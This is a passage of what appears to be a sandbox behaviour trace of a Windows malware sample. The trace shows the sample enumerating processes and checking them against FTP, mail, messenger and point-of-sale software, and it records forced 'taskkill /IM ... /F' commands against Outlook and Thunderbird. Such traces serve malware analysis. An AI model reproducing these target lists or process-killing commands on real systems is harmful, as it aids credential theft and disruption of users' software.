	[0150.077] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="compound italiano branch.exe")) returned 1
	[0150.080] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="laugh.exe")) returned 1
	[0150.696] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="swiss_italia_boards.exe")) returned 1
	[0150.699] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pairchronicles.exe")) returned 1
	[0150.702] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="varyoopsboss.exe")) returned 1
	[0150.705] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="integratechips.exe")) returned 1
	[0150.708] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reselleremotional.exe")) returned 1
	[0150.711] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh pct os.exe")) returned 1
	[0150.714] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="clearly_st.exe")) returned 1
	[0150.717] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sleepingtheregather.exe")) returned 1
	[0150.720] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="profile accepting clark.exe")) returned 1
	[0150.724] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="origins models wing.exe")) returned 1
	[0150.727] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hurricane.exe")) returned 1
	[0150.731] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basketballamdphil.exe")) returned 1
	[0150.734] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="calculate-hung.exe")) returned 1
	[0151.054] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="taskkill", lpParameters="/IM calculate-hung.exe /F", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0157.240] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="legs.exe")) returned 1
	[0157.244] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fails_wichita_innocent.exe")) returned 1
	[0157.247] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="groundwater pokemon.exe")) returned 1
	[0157.250] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="kinds-earth-explains.exe")) returned 1
	[0157.253] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0157.256] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0157.260] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0157.263] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0157.266] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0157.269] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0157.272] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0157.586] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0157.589] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0157.592] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0157.595] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0157.598] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0157.602] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0157.605] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0157.608] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0157.611] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0157.615] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0157.961] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1
	[0157.964] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="taskkill", lpParameters="/IM outlook.exe /F", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0164.378] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0164.382] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0164.385] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0164.388] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0164.393] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0164.397] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="taskkill", lpParameters="/IM thunderbird.exe /F", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0172.859] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0172.863] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0172.865] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0172.868] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0172.872] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0172.875] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0172.878] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0172.881] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0172.883] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0172.888] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0172.892] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0172.895] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0172.898] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0172.901] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0172.904] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0172.907] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0172.910] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0172.914] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0172.916] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0172.919] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0172.923] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0172.926] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan purchases.exe")) returned 1
	[0172.929] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana.exe")) returned 1
	[0172.933] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="floppy.exe")) returned 1
	[0173.488] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="computed kernel.exe")) returned 1
	[0173.491] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0173.494] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xad0, pcPriClassBase=8, dwFlags=0x0, szExeFile="uZkoH.exe")) returned 1
	[0173.497] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="fMRKmiSrvlan.exe")) returned 1
	[0173.500] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="HovnaLKnSlan.exe")) returned 1
	[0173.503] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0173.506] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0173.509] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0173.511] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0173.514] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0173.517] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0173.520] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0173.523] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0173.525] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0173.663] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
